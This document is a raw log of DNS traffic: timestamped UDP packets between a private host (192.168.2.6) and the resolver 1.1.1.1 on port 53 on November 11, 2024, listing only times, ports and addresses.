Nov 11, 2024 18:51:20.027137995 CET	64298	53	192.168.2.6	1.1.1.1
Nov 11, 2024 18:51:20.036796093 CET	53	64298	1.1.1.1	192.168.2.6
Nov 11, 2024 18:51:20.038379908 CET	53	56709	1.1.1.1	192.168.2.6
Nov 11, 2024 18:51:20.044784069 CET	50500	53	192.168.2.6	1.1.1.1
Nov 11, 2024 18:51:20.063874960 CET	53	50500	1.1.1.1	192.168.2.6
Nov 11, 2024 18:51:20.227752924 CET	58593	53	192.168.2.6	1.1.1.1
Nov 11, 2024 18:51:20.228034019 CET	51481	53	192.168.2.6	1.1.1.1
Nov 11, 2024 18:51:20.228508949 CET	54554	53	192.168.2.6	1.1.1.1
Nov 11, 2024 18:51:20.228526115 CET	60691	53	192.168.2.6	1.1.1.1
Nov 11, 2024 18:51:20.235501051 CET	53724	53	192.168.2.6	1.1.1.1
Nov 11, 2024 18:51:20.235717058 CET	59411	53	192.168.2.6	1.1.1.1
Nov 11, 2024 18:51:20.235899925 CET	57408	53	192.168.2.6	1.1.1.1
Nov 11, 2024 18:51:20.236088037 CET	52074	53	192.168.2.6	1.1.1.1
Nov 11, 2024 18:51:20.236335993 CET	57827	53	192.168.2.6	1.1.1.1
Nov 11, 2024 18:51:20.236480951 CET	57222	53	192.168.2.6	1.1.1.1
Nov 11, 2024 18:51:20.236610889 CET	64951	53	192.168.2.6	1.1.1.1
Nov 11, 2024 18:51:20.237306118 CET	53	58593	1.1.1.1	192.168.2.6
Nov 11, 2024 18:51:20.239376068 CET	53	51481	1.1.1.1	192.168.2.6
Nov 11, 2024 18:51:20.245336056 CET	53	53724	1.1.1.1	192.168.2.6
Nov 11, 2024 18:51:20.248728991 CET	53	64951	1.1.1.1	192.168.2.6
Nov 11, 2024 18:51:20.248742104 CET	53	57222	1.1.1.1	192.168.2.6
Nov 11, 2024 18:51:20.248758078 CET	53	59411	1.1.1.1	192.168.2.6
Nov 11, 2024 18:51:20.248768091 CET	53	52074	1.1.1.1	192.168.2.6
Nov 11, 2024 18:51:20.248781919 CET	53	57827	1.1.1.1	192.168.2.6
Nov 11, 2024 18:51:20.250823021 CET	53	54554	1.1.1.1	192.168.2.6
Nov 11, 2024 18:51:20.260142088 CET	53	60691	1.1.1.1	192.168.2.6
Nov 11, 2024 18:51:20.266722918 CET	53	57408	1.1.1.1	192.168.2.6
Nov 11, 2024 18:51:20.426606894 CET	56805	53	192.168.2.6	1.1.1.1
Nov 11, 2024 18:51:20.430234909 CET	62105	53	192.168.2.6	1.1.1.1
Nov 11, 2024 18:51:20.436234951 CET	53	56805	1.1.1.1	192.168.2.6
Nov 11, 2024 18:51:20.440428972 CET	53	62105	1.1.1.1	192.168.2.6
Nov 11, 2024 18:51:20.440694094 CET	59745	53	192.168.2.6	1.1.1.1
Nov 11, 2024 18:51:20.440887928 CET	54891	53	192.168.2.6	1.1.1.1
Nov 11, 2024 18:51:20.441049099 CET	62327	53	192.168.2.6	1.1.1.1
Nov 11, 2024 18:51:20.441344976 CET	55210	53	192.168.2.6	1.1.1.1
Nov 11, 2024 18:51:20.441344976 CET	65465	53	192.168.2.6	1.1.1.1
Nov 11, 2024 18:51:20.441615105 CET	54071	53	192.168.2.6	1.1.1.1
Nov 11, 2024 18:51:20.450438023 CET	53	62327	1.1.1.1	192.168.2.6
Nov 11, 2024 18:51:20.451107025 CET	53	59745	1.1.1.1	192.168.2.6
Nov 11, 2024 18:51:20.451447010 CET	53	55210	1.1.1.1	192.168.2.6
Nov 11, 2024 18:51:20.451591969 CET	53	54071	1.1.1.1	192.168.2.6
Nov 11, 2024 18:51:20.453166962 CET	53	65465	1.1.1.1	192.168.2.6
Nov 11, 2024 18:51:20.472399950 CET	53	54891	1.1.1.1	192.168.2.6
Nov 11, 2024 18:51:21.844223022 CET	51772	53	192.168.2.6	1.1.1.1
Nov 11, 2024 18:51:21.844892979 CET	49953	53	192.168.2.6	1.1.1.1
Nov 11, 2024 18:51:21.845772028 CET	52074	53	192.168.2.6	1.1.1.1
Nov 11, 2024 18:51:21.849484921 CET	51928	53	192.168.2.6	1.1.1.1
Nov 11, 2024 18:51:21.849612951 CET	53550	53	192.168.2.6	1.1.1.1
Nov 11, 2024 18:51:21.850372076 CET	56119	53	192.168.2.6	1.1.1.1
Nov 11, 2024 18:51:21.850474119 CET	65372	53	192.168.2.6	1.1.1.1
Nov 11, 2024 18:51:21.851483107 CET	56022	53	192.168.2.6	1.1.1.1
Nov 11, 2024 18:51:21.851593018 CET	52403	53	192.168.2.6	1.1.1.1
Nov 11, 2024 18:51:21.852171898 CET	62389	53	192.168.2.6	1.1.1.1
Nov 11, 2024 18:51:21.852581978 CET	55933	53	192.168.2.6	1.1.1.1
Nov 11, 2024 18:51:21.852802038 CET	51107	53	192.168.2.6	1.1.1.1
Nov 11, 2024 18:51:21.852967024 CET	53667	53	192.168.2.6	1.1.1.1
Nov 11, 2024 18:51:21.853272915 CET	61693	53	192.168.2.6	1.1.1.1
Nov 11, 2024 18:51:21.853411913 CET	61931	53	192.168.2.6	1.1.1.1
Nov 11, 2024 18:51:21.853858948 CET	59016	53	192.168.2.6	1.1.1.1
Nov 11, 2024 18:51:21.854567051 CET	53	51772	1.1.1.1	192.168.2.6
Nov 11, 2024 18:51:21.855139971 CET	53	49953	1.1.1.1	192.168.2.6
Nov 11, 2024 18:51:21.859385014 CET	53	51928	1.1.1.1	192.168.2.6
Nov 11, 2024 18:51:21.860049963 CET	53	53550	1.1.1.1	192.168.2.6
Nov 11, 2024 18:51:21.860333920 CET	53	61693	1.1.1.1	192.168.2.6
Nov 11, 2024 18:51:21.860914946 CET	53	51107	1.1.1.1	192.168.2.6
Nov 11, 2024 18:51:21.862323046 CET	53	52403	1.1.1.1	192.168.2.6
Nov 11, 2024 18:51:21.862708092 CET	53	55933	1.1.1.1	192.168.2.6
Nov 11, 2024 18:51:21.864753008 CET	53	59016	1.1.1.1	192.168.2.6
Nov 11, 2024 18:51:21.868093967 CET	53	52074	1.1.1.1	192.168.2.6
Nov 11, 2024 18:51:21.871095896 CET	57759	53	192.168.2.6	1.1.1.1
Nov 11, 2024 18:51:21.871251106 CET	63437	53	192.168.2.6	1.1.1.1
Nov 11, 2024 18:51:21.871639967 CET	60045	53	192.168.2.6	1.1.1.1
Nov 11, 2024 18:51:21.871962070 CET	53738	53	192.168.2.6	1.1.1.1
Nov 11, 2024 18:51:21.872088909 CET	50184	53	192.168.2.6	1.1.1.1
Nov 11, 2024 18:51:21.872180939 CET	64250	53	192.168.2.6	1.1.1.1
Nov 11, 2024 18:51:21.875371933 CET	62243	53	192.168.2.6	1.1.1.1
Nov 11, 2024 18:51:21.878220081 CET	53	57759	1.1.1.1	192.168.2.6
Nov 11, 2024 18:51:21.878606081 CET	58450	53	192.168.2.6	1.1.1.1
Nov 11, 2024 18:51:21.879329920 CET	53	60045	1.1.1.1	192.168.2.6
Nov 11, 2024 18:51:21.879993916 CET	53	53738	1.1.1.1	192.168.2.6
Nov 11, 2024 18:51:21.881015062 CET	53	56119	1.1.1.1	192.168.2.6
Nov 11, 2024 18:51:21.882247925 CET	53	64250	1.1.1.1	192.168.2.6
Nov 11, 2024 18:51:21.882452965 CET	53	50184	1.1.1.1	192.168.2.6
Nov 11, 2024 18:51:21.882899046 CET	53	56022	1.1.1.1	192.168.2.6
Nov 11, 2024 18:51:21.883399963 CET	53	62389	1.1.1.1	192.168.2.6
Nov 11, 2024 18:51:21.883663893 CET	65344	53	192.168.2.6	1.1.1.1
Nov 11, 2024 18:51:21.885274887 CET	53	61931	1.1.1.1	192.168.2.6
Nov 11, 2024 18:51:21.885823965 CET	53	53667	1.1.1.1	192.168.2.6
Nov 11, 2024 18:51:21.885869980 CET	53	65372	1.1.1.1	192.168.2.6
Nov 11, 2024 18:51:21.886719942 CET	62025	53	192.168.2.6	1.1.1.1
Nov 11, 2024 18:51:21.886888981 CET	65006	53	192.168.2.6	1.1.1.1
Nov 11, 2024 18:51:21.887295961 CET	53	62243	1.1.1.1	192.168.2.6
Nov 11, 2024 18:51:21.888705969 CET	53	58450	1.1.1.1	192.168.2.6
Nov 11, 2024 18:51:21.891603947 CET	53399	53	192.168.2.6	1.1.1.1
Nov 11, 2024 18:51:21.893399954 CET	49872	53	192.168.2.6	1.1.1.1
Nov 11, 2024 18:51:21.893996000 CET	49450	53	192.168.2.6	1.1.1.1
Nov 11, 2024 18:51:21.894246101 CET	53	65344	1.1.1.1	192.168.2.6
Nov 11, 2024 18:51:21.896539927 CET	59012	53	192.168.2.6	1.1.1.1
Nov 11, 2024 18:51:21.897162914 CET	53	65006	1.1.1.1	192.168.2.6
Nov 11, 2024 18:51:21.903222084 CET	53	63437	1.1.1.1	192.168.2.6
Nov 11, 2024 18:51:21.904495955 CET	53	49450	1.1.1.1	192.168.2.6
Nov 11, 2024 18:51:21.905843973 CET	53	59012	1.1.1.1	192.168.2.6
Nov 11, 2024 18:51:21.914336920 CET	53	53399	1.1.1.1	192.168.2.6
Nov 11, 2024 18:51:21.918934107 CET	53	62025	1.1.1.1	192.168.2.6
Nov 11, 2024 18:51:21.924521923 CET	53	49872	1.1.1.1	192.168.2.6
Nov 11, 2024 18:51:24.791176081 CET	50599	53	192.168.2.6	1.1.1.1
Nov 11, 2024 18:51:24.801270962 CET	53	50599	1.1.1.1	192.168.2.6
Nov 11, 2024 18:51:24.826234102 CET	57116	53	192.168.2.6	1.1.1.1
Nov 11, 2024 18:51:24.827466011 CET	60206	53	192.168.2.6	1.1.1.1
Nov 11, 2024 18:51:24.836304903 CET	53	57116	1.1.1.1	192.168.2.6
Nov 11, 2024 18:51:24.837173939 CET	53	60206	1.1.1.1	192.168.2.6
Nov 11, 2024 18:51:24.855489969 CET	55184	53	192.168.2.6	1.1.1.1
Nov 11, 2024 18:51:24.866353035 CET	53	55184	1.1.1.1	192.168.2.6
Nov 11, 2024 18:51:24.946764946 CET	61338	53	192.168.2.6	1.1.1.1
Nov 11, 2024 18:51:24.956157923 CET	53	61338	1.1.1.1	192.168.2.6
Nov 11, 2024 18:51:24.978303909 CET	61859	53	192.168.2.6	1.1.1.1
Nov 11, 2024 18:51:24.986902952 CET	53	61859	1.1.1.1	192.168.2.6
Nov 11, 2024 18:51:25.046587944 CET	59315	53	192.168.2.6	1.1.1.1
Nov 11, 2024 18:51:25.057168961 CET	53	59315	1.1.1.1	192.168.2.6
Nov 11, 2024 18:51:25.106446981 CET	65273	53	192.168.2.6	1.1.1.1
Nov 11, 2024 18:51:25.116779089 CET	57634	53	192.168.2.6	1.1.1.1
Nov 11, 2024 18:51:25.117336988 CET	62153	53	192.168.2.6	1.1.1.1
Nov 11, 2024 18:51:25.117933989 CET	53	65273	1.1.1.1	192.168.2.6
Nov 11, 2024 18:51:25.124747038 CET	53	57634	1.1.1.1	192.168.2.6
Nov 11, 2024 18:51:25.128529072 CET	53	62153	1.1.1.1	192.168.2.6
Nov 11, 2024 18:51:25.167587042 CET	50876	53	192.168.2.6	1.1.1.1
Nov 11, 2024 18:51:25.169997931 CET	55039	53	192.168.2.6	1.1.1.1
Nov 11, 2024 18:51:25.177762032 CET	53	50876	1.1.1.1	192.168.2.6
Nov 11, 2024 18:51:25.200632095 CET	60832	53	192.168.2.6	1.1.1.1
Nov 11, 2024 18:51:25.202039957 CET	53	55039	1.1.1.1	192.168.2.6
Nov 11, 2024 18:51:25.205337048 CET	53743	53	192.168.2.6	1.1.1.1
Nov 11, 2024 18:51:25.205821991 CET	56777	53	192.168.2.6	1.1.1.1
Nov 11, 2024 18:51:25.215032101 CET	53	56777	1.1.1.1	192.168.2.6
Nov 11, 2024 18:51:25.216368914 CET	53	53743	1.1.1.1	192.168.2.6
Nov 11, 2024 18:51:25.229994059 CET	49199	53	192.168.2.6	1.1.1.1
Nov 11, 2024 18:51:25.231013060 CET	53	60832	1.1.1.1	192.168.2.6
Nov 11, 2024 18:51:25.232130051 CET	50077	53	192.168.2.6	1.1.1.1
Nov 11, 2024 18:51:25.232412100 CET	54928	53	192.168.2.6	1.1.1.1
Nov 11, 2024 18:51:25.238421917 CET	53	49199	1.1.1.1	192.168.2.6
Nov 11, 2024 18:51:25.241547108 CET	53	50077	1.1.1.1	192.168.2.6
Nov 11, 2024 18:51:25.242862940 CET	58563	53	192.168.2.6	1.1.1.1
Nov 11, 2024 18:51:25.263006926 CET	53	54928	1.1.1.1	192.168.2.6
Nov 11, 2024 18:51:25.350075006 CET	53	58563	1.1.1.1	192.168.2.6
Nov 11, 2024 18:51:25.802767038 CET	51745	53	192.168.2.6	1.1.1.1
Nov 11, 2024 18:51:25.806097984 CET	57330	53	192.168.2.6	1.1.1.1
Nov 11, 2024 18:51:25.807919979 CET	51216	53	192.168.2.6	1.1.1.1
Nov 11, 2024 18:51:25.808532000 CET	58583	53	192.168.2.6	1.1.1.1
Nov 11, 2024 18:51:25.818212986 CET	56621	53	192.168.2.6	1.1.1.1
Nov 11, 2024 18:51:25.819375992 CET	53	58583	1.1.1.1	192.168.2.6
Nov 11, 2024 18:51:25.823543072 CET	59856	53	192.168.2.6	1.1.1.1
Nov 11, 2024 18:51:25.823946953 CET	50440	53	192.168.2.6	1.1.1.1
Nov 11, 2024 18:51:25.830056906 CET	53	56621	1.1.1.1	192.168.2.6
Nov 11, 2024 18:51:25.834352016 CET	53	51745	1.1.1.1	192.168.2.6
Nov 11, 2024 18:51:25.834837914 CET	53	50440	1.1.1.1	192.168.2.6
Nov 11, 2024 18:51:25.838169098 CET	53	57330	1.1.1.1	192.168.2.6
Nov 11, 2024 18:51:25.839184046 CET	53	51216	1.1.1.1	192.168.2.6
Nov 11, 2024 18:51:25.840456009 CET	57800	53	192.168.2.6	1.1.1.1
Nov 11, 2024 18:51:25.854821920 CET	53	59856	1.1.1.1	192.168.2.6
Nov 11, 2024 18:51:25.862776041 CET	55477	53	192.168.2.6	1.1.1.1
Nov 11, 2024 18:51:25.867217064 CET	49401	53	192.168.2.6	1.1.1.1
Nov 11, 2024 18:51:25.868154049 CET	58343	53	192.168.2.6	1.1.1.1
Nov 11, 2024 18:51:25.869241953 CET	62501	53	192.168.2.6	1.1.1.1
Nov 11, 2024 18:51:25.869612932 CET	58570	53	192.168.2.6	1.1.1.1
Nov 11, 2024 18:51:25.872214079 CET	53	57800	1.1.1.1	192.168.2.6
Nov 11, 2024 18:51:25.873802900 CET	53	55477	1.1.1.1	192.168.2.6
Nov 11, 2024 18:51:25.875363111 CET	55842	53	192.168.2.6	1.1.1.1
Nov 11, 2024 18:51:25.876816034 CET	56627	53	192.168.2.6	1.1.1.1
Nov 11, 2024 18:51:25.878077030 CET	53	49401	1.1.1.1	192.168.2.6
Nov 11, 2024 18:51:25.878946066 CET	53	58343	1.1.1.1	192.168.2.6
Nov 11, 2024 18:51:25.879331112 CET	53	62501	1.1.1.1	192.168.2.6
Nov 11, 2024 18:51:25.879690886 CET	53	58570	1.1.1.1	192.168.2.6
Nov 11, 2024 18:51:25.884721041 CET	53	55842	1.1.1.1	192.168.2.6
Nov 11, 2024 18:51:25.888292074 CET	53	56627	1.1.1.1	192.168.2.6
Nov 11, 2024 18:51:25.889777899 CET	58109	53	192.168.2.6	1.1.1.1
Nov 11, 2024 18:51:25.891088009 CET	61127	53	192.168.2.6	1.1.1.1
Nov 11, 2024 18:51:25.893723011 CET	62405	53	192.168.2.6	1.1.1.1
Nov 11, 2024 18:51:25.895461082 CET	54208	53	192.168.2.6	1.1.1.1
Nov 11, 2024 18:51:25.900455952 CET	53	58109	1.1.1.1	192.168.2.6
Nov 11, 2024 18:51:25.902636051 CET	53	61127	1.1.1.1	192.168.2.6
Nov 11, 2024 18:51:25.904681921 CET	53	62405	1.1.1.1	192.168.2.6
Nov 11, 2024 18:51:25.926789999 CET	53	54208	1.1.1.1	192.168.2.6
Nov 11, 2024 18:51:25.928287029 CET	64086	53	192.168.2.6	1.1.1.1
Nov 11, 2024 18:51:25.928631067 CET	64748	53	192.168.2.6	1.1.1.1
Nov 11, 2024 18:51:25.937047958 CET	59410	53	192.168.2.6	1.1.1.1
Nov 11, 2024 18:51:25.937215090 CET	58366	53	192.168.2.6	1.1.1.1
Nov 11, 2024 18:51:25.937572002 CET	60332	53	192.168.2.6	1.1.1.1
Nov 11, 2024 18:51:25.937891006 CET	61655	53	192.168.2.6	1.1.1.1
Nov 11, 2024 18:51:25.938045979 CET	64962	53	192.168.2.6	1.1.1.1
Nov 11, 2024 18:51:25.938215017 CET	50084	53	192.168.2.6	1.1.1.1
Nov 11, 2024 18:51:25.938323975 CET	53	64086	1.1.1.1	192.168.2.6
Nov 11, 2024 18:51:25.938646078 CET	59255	53	192.168.2.6	1.1.1.1
Nov 11, 2024 18:51:25.940165997 CET	53	64748	1.1.1.1	192.168.2.6
Nov 11, 2024 18:51:25.947307110 CET	53	60332	1.1.1.1	192.168.2.6
Nov 11, 2024 18:51:25.947918892 CET	53	58366	1.1.1.1	192.168.2.6
Nov 11, 2024 18:51:25.947957039 CET	53	61655	1.1.1.1	192.168.2.6
Nov 11, 2024 18:51:25.948354959 CET	53	50084	1.1.1.1	192.168.2.6
Nov 11, 2024 18:51:25.948983908 CET	55096	53	192.168.2.6	1.1.1.1
Nov 11, 2024 18:51:25.948988914 CET	53	64962	1.1.1.1	192.168.2.6
Nov 11, 2024 18:51:25.949187994 CET	56752	53	192.168.2.6	1.1.1.1
Nov 11, 2024 18:51:25.950498104 CET	63351	53	192.168.2.6	1.1.1.1
Nov 11, 2024 18:51:25.950700045 CET	50760	53	192.168.2.6	1.1.1.1
Nov 11, 2024 18:51:25.950841904 CET	56994	53	192.168.2.6	1.1.1.1
Nov 11, 2024 18:51:25.950985909 CET	55895	53	192.168.2.6	1.1.1.1
Nov 11, 2024 18:51:25.951155901 CET	63496	53	192.168.2.6	1.1.1.1
Nov 11, 2024 18:51:25.951698065 CET	65083	53	192.168.2.6	1.1.1.1
Nov 11, 2024 18:51:25.951873064 CET	58854	53	192.168.2.6	1.1.1.1
Nov 11, 2024 18:51:25.952027082 CET	58166	53	192.168.2.6	1.1.1.1
Nov 11, 2024 18:51:25.958334923 CET	53	50760	1.1.1.1	192.168.2.6
Nov 11, 2024 18:51:25.959934950 CET	53	56752	1.1.1.1	192.168.2.6
Nov 11, 2024 18:51:25.960750103 CET	56765	53	192.168.2.6	1.1.1.1
Nov 11, 2024 18:51:25.960988998 CET	56528	53	192.168.2.6	1.1.1.1
Nov 11, 2024 18:51:25.961020947 CET	53	56994	1.1.1.1	192.168.2.6
Nov 11, 2024 18:51:25.961174965 CET	59863	53	192.168.2.6	1.1.1.1
Nov 11, 2024 18:51:25.961708069 CET	53	55895	1.1.1.1	192.168.2.6
Nov 11, 2024 18:51:25.962126970 CET	52749	53	192.168.2.6	1.1.1.1
Nov 11, 2024 18:51:25.962308884 CET	52723	53	192.168.2.6	1.1.1.1
Nov 11, 2024 18:51:25.962397099 CET	53	65083	1.1.1.1	192.168.2.6
Nov 11, 2024 18:51:25.962409973 CET	53	58166	1.1.1.1	192.168.2.6
Nov 11, 2024 18:51:25.962475061 CET	61704	53	192.168.2.6	1.1.1.1
Nov 11, 2024 18:51:25.962613106 CET	54358	53	192.168.2.6	1.1.1.1
Nov 11, 2024 18:51:25.963047981 CET	61964	53	192.168.2.6	1.1.1.1
Nov 11, 2024 18:51:25.963236094 CET	65390	53	192.168.2.6	1.1.1.1
Nov 11, 2024 18:51:25.963411093 CET	60225	53	192.168.2.6	1.1.1.1
Nov 11, 2024 18:51:25.963743925 CET	59737	53	192.168.2.6	1.1.1.1
Nov 11, 2024 18:51:25.963979006 CET	49400	53	192.168.2.6	1.1.1.1
Nov 11, 2024 18:51:25.964162111 CET	64580	53	192.168.2.6	1.1.1.1
Nov 11, 2024 18:51:25.964308977 CET	49927	53	192.168.2.6	1.1.1.1
Nov 11, 2024 18:51:25.964700937 CET	59378	53	192.168.2.6	1.1.1.1
Nov 11, 2024 18:51:25.964988947 CET	61714	53	192.168.2.6	1.1.1.1
Nov 11, 2024 18:51:25.965270042 CET	62980	53	192.168.2.6	1.1.1.1
Nov 11, 2024 18:51:25.965476990 CET	55054	53	192.168.2.6	1.1.1.1
Nov 11, 2024 18:51:25.966861963 CET	53	55096	1.1.1.1	192.168.2.6
Nov 11, 2024 18:51:25.970211983 CET	53	56765	1.1.1.1	192.168.2.6
Nov 11, 2024 18:51:25.970364094 CET	53	59410	1.1.1.1	192.168.2.6
Nov 11, 2024 18:51:25.970799923 CET	53	59255	1.1.1.1	192.168.2.6
Nov 11, 2024 18:51:25.970875978 CET	53	59737	1.1.1.1	192.168.2.6
Nov 11, 2024 18:51:25.971237898 CET	53	59863	1.1.1.1	192.168.2.6
Nov 11, 2024 18:51:25.971261024 CET	53	56528	1.1.1.1	192.168.2.6
Nov 11, 2024 18:51:25.972266912 CET	53	61704	1.1.1.1	192.168.2.6
Nov 11, 2024 18:51:25.972279072 CET	53	54358	1.1.1.1	192.168.2.6
Nov 11, 2024 18:51:25.972610950 CET	53	61964	1.1.1.1	192.168.2.6
Nov 11, 2024 18:51:25.972778082 CET	53	60225	1.1.1.1	192.168.2.6
Nov 11, 2024 18:51:25.973726988 CET	53	52723	1.1.1.1	192.168.2.6
Nov 11, 2024 18:51:25.973746061 CET	53	52749	1.1.1.1	192.168.2.6
Nov 11, 2024 18:51:25.973979950 CET	53	49400	1.1.1.1	192.168.2.6
Nov 11, 2024 18:51:25.974737883 CET	53	49927	1.1.1.1	192.168.2.6
Nov 11, 2024 18:51:25.978570938 CET	53	55054	1.1.1.1	192.168.2.6
Nov 11, 2024 18:51:25.983352900 CET	58987	53	192.168.2.6	1.1.1.1
Nov 11, 2024 18:51:25.983541965 CET	53	63351	1.1.1.1	192.168.2.6
Nov 11, 2024 18:51:25.984132051 CET	53	63496	1.1.1.1	192.168.2.6
Nov 11, 2024 18:51:25.984150887 CET	53	58854	1.1.1.1	192.168.2.6
Nov 11, 2024 18:51:25.985322952 CET	61425	53	192.168.2.6	1.1.1.1
Nov 11, 2024 18:51:25.985519886 CET	64926	53	192.168.2.6	1.1.1.1
Nov 11, 2024 18:51:25.985685110 CET	57849	53	192.168.2.6	1.1.1.1
Nov 11, 2024 18:51:25.985822916 CET	58465	53	192.168.2.6	1.1.1.1
Nov 11, 2024 18:51:25.992259026 CET	61984	53	192.168.2.6	1.1.1.1
Nov 11, 2024 18:51:25.993609905 CET	53	58465	1.1.1.1	192.168.2.6
Nov 11, 2024 18:51:25.994235039 CET	53	65390	1.1.1.1	192.168.2.6
Nov 11, 2024 18:51:25.994580984 CET	63434	53	192.168.2.6	1.1.1.1
Nov 11, 2024 18:51:25.995138884 CET	53	58987	1.1.1.1	192.168.2.6
Nov 11, 2024 18:51:25.995920897 CET	53	61714	1.1.1.1	192.168.2.6
Nov 11, 2024 18:51:25.996226072 CET	53	57849	1.1.1.1	192.168.2.6
Nov 11, 2024 18:51:25.996323109 CET	53	61425	1.1.1.1	192.168.2.6
Nov 11, 2024 18:51:25.996670008 CET	53	64580	1.1.1.1	192.168.2.6
Nov 11, 2024 18:51:25.996689081 CET	53	64926	1.1.1.1	192.168.2.6
Nov 11, 2024 18:51:25.997494936 CET	53	59378	1.1.1.1	192.168.2.6
Nov 11, 2024 18:51:25.997544050 CET	53	62980	1.1.1.1	192.168.2.6
Nov 11, 2024 18:51:26.002604008 CET	53	61984	1.1.1.1	192.168.2.6
Nov 11, 2024 18:51:26.026984930 CET	53	63434	1.1.1.1	192.168.2.6
Nov 11, 2024 18:51:27.604384899 CET	63675	53	192.168.2.6	1.1.1.1
Nov 11, 2024 18:51:27.653933048 CET	55346	53	192.168.2.6	1.1.1.1
Nov 11, 2024 18:51:27.731215000 CET	58966	53	192.168.2.6	1.1.1.1
Nov 11, 2024 18:51:27.818382978 CET	53	63675	1.1.1.1	192.168.2.6
Nov 11, 2024 18:51:27.819468021 CET	53	58966	1.1.1.1	192.168.2.6
Nov 11, 2024 18:51:27.819638968 CET	53	55346	1.1.1.1	192.168.2.6
Nov 11, 2024 18:51:27.922898054 CET	51430	53	192.168.2.6	1.1.1.1
Nov 11, 2024 18:51:27.933357000 CET	53	51430	1.1.1.1	192.168.2.6
Nov 11, 2024 18:51:28.414753914 CET	52469	53	192.168.2.6	1.1.1.1
Nov 11, 2024 18:51:28.425570011 CET	53	52469	1.1.1.1	192.168.2.6
Nov 11, 2024 18:51:28.572633982 CET	56545	53	192.168.2.6	1.1.1.1
Nov 11, 2024 18:51:28.582458973 CET	53	56545	1.1.1.1	192.168.2.6
Nov 11, 2024 18:51:28.651174068 CET	57840	53	192.168.2.6	1.1.1.1
Nov 11, 2024 18:51:28.658653021 CET	53	57840	1.1.1.1	192.168.2.6
Nov 11, 2024 18:51:28.802656889 CET	62034	53	192.168.2.6	1.1.1.1
Nov 11, 2024 18:51:28.813505888 CET	53	62034	1.1.1.1	192.168.2.6
Nov 11, 2024 18:51:28.891529083 CET	62033	53	192.168.2.6	1.1.1.1
Nov 11, 2024 18:51:28.922415018 CET	53	62033	1.1.1.1	192.168.2.6
Nov 11, 2024 18:51:28.993545055 CET	62833	53	192.168.2.6	1.1.1.1
Nov 11, 2024 18:51:28.997504950 CET	49706	53	192.168.2.6	1.1.1.1
Nov 11, 2024 18:51:29.003438950 CET	53	62833	1.1.1.1	192.168.2.6
Nov 11, 2024 18:51:29.007328033 CET	53	49706	1.1.1.1	192.168.2.6
Nov 11, 2024 18:51:29.064702988 CET	64809	53	192.168.2.6	1.1.1.1
Nov 11, 2024 18:51:29.096096992 CET	53	64809	1.1.1.1	192.168.2.6
Nov 11, 2024 18:51:29.242857933 CET	63719	53	192.168.2.6	1.1.1.1
Nov 11, 2024 18:51:29.276331902 CET	53	63719	1.1.1.1	192.168.2.6
Nov 11, 2024 18:51:29.345345020 CET	59970	53	192.168.2.6	1.1.1.1
Nov 11, 2024 18:51:29.377207041 CET	53	59970	1.1.1.1	192.168.2.6
Nov 11, 2024 18:51:29.702817917 CET	60633	53	192.168.2.6	1.1.1.1
Nov 11, 2024 18:51:29.712605000 CET	53	60633	1.1.1.1	192.168.2.6
Nov 11, 2024 18:51:30.384393930 CET	54483	53	192.168.2.6	1.1.1.1
Nov 11, 2024 18:51:30.414068937 CET	52412	53	192.168.2.6	1.1.1.1
Nov 11, 2024 18:51:30.416786909 CET	53	54483	1.1.1.1	192.168.2.6
Nov 11, 2024 18:51:30.446840048 CET	53	52412	1.1.1.1	192.168.2.6
Nov 11, 2024 18:51:30.604048967 CET	58588	53	192.168.2.6	1.1.1.1
Nov 11, 2024 18:51:30.614336967 CET	53	58588	1.1.1.1	192.168.2.6
Nov 11, 2024 18:51:30.635262012 CET	57486	53	192.168.2.6	1.1.1.1
Nov 11, 2024 18:51:30.642349005 CET	53	57486	1.1.1.1	192.168.2.6
Nov 11, 2024 18:51:30.786735058 CET	64916	53	192.168.2.6	1.1.1.1
Nov 11, 2024 18:51:30.891264915 CET	64045	53	192.168.2.6	1.1.1.1
Nov 11, 2024 18:51:30.898812056 CET	53	64045	1.1.1.1	192.168.2.6
Nov 11, 2024 18:51:30.913042068 CET	53	64916	1.1.1.1	192.168.2.6
Nov 11, 2024 18:51:31.045201063 CET	59607	53	192.168.2.6	1.1.1.1
Nov 11, 2024 18:51:31.077737093 CET	53	59607	1.1.1.1	192.168.2.6
Nov 11, 2024 18:51:31.123116016 CET	62145	53	192.168.2.6	1.1.1.1
Nov 11, 2024 18:51:31.134929895 CET	53	62145	1.1.1.1	192.168.2.6
Nov 11, 2024 18:51:31.393201113 CET	61812	53	192.168.2.6	1.1.1.1
Nov 11, 2024 18:51:31.412698030 CET	53	61812	1.1.1.1	192.168.2.6
Nov 11, 2024 18:51:31.463169098 CET	64357	53	192.168.2.6	1.1.1.1
Nov 11, 2024 18:51:31.470805883 CET	53	64357	1.1.1.1	192.168.2.6
Nov 11, 2024 18:51:31.495208979 CET	63679	53	192.168.2.6	1.1.1.1
Nov 11, 2024 18:51:31.505733013 CET	53	63679	1.1.1.1	192.168.2.6
Nov 11, 2024 18:51:31.584768057 CET	63301	53	192.168.2.6	1.1.1.1
Nov 11, 2024 18:51:31.617762089 CET	53	63301	1.1.1.1	192.168.2.6
Nov 11, 2024 18:51:31.700371027 CET	60812	53	192.168.2.6	1.1.1.1
Nov 11, 2024 18:51:31.731801033 CET	53	60812	1.1.1.1	192.168.2.6
Nov 11, 2024 18:51:31.748594046 CET	56265	53	192.168.2.6	1.1.1.1
Nov 11, 2024 18:51:31.749836922 CET	58981	53	192.168.2.6	1.1.1.1
Nov 11, 2024 18:51:31.757592916 CET	53	58981	1.1.1.1	192.168.2.6
Nov 11, 2024 18:51:31.782902956 CET	53	56265	1.1.1.1	192.168.2.6
Nov 11, 2024 18:51:31.926378012 CET	61182	53	192.168.2.6	1.1.1.1
Nov 11, 2024 18:51:31.937907934 CET	53	61182	1.1.1.1	192.168.2.6
Nov 11, 2024 18:51:32.043087959 CET	56143	53	192.168.2.6	1.1.1.1
Nov 11, 2024 18:51:32.092561007 CET	59483	53	192.168.2.6	1.1.1.1
Nov 11, 2024 18:51:32.121015072 CET	63473	53	192.168.2.6	1.1.1.1
Nov 11, 2024 18:51:32.191405058 CET	59701	53	192.168.2.6	1.1.1.1
Nov 11, 2024 18:51:32.215209961 CET	49601	53	192.168.2.6	1.1.1.1
Nov 11, 2024 18:51:32.274835110 CET	62020	53	192.168.2.6	1.1.1.1
Nov 11, 2024 18:51:32.426851988 CET	53	56143	1.1.1.1	192.168.2.6
Nov 11, 2024 18:51:32.426863909 CET	53	62020	1.1.1.1	192.168.2.6
Nov 11, 2024 18:51:32.427345037 CET	53	59483	1.1.1.1	192.168.2.6
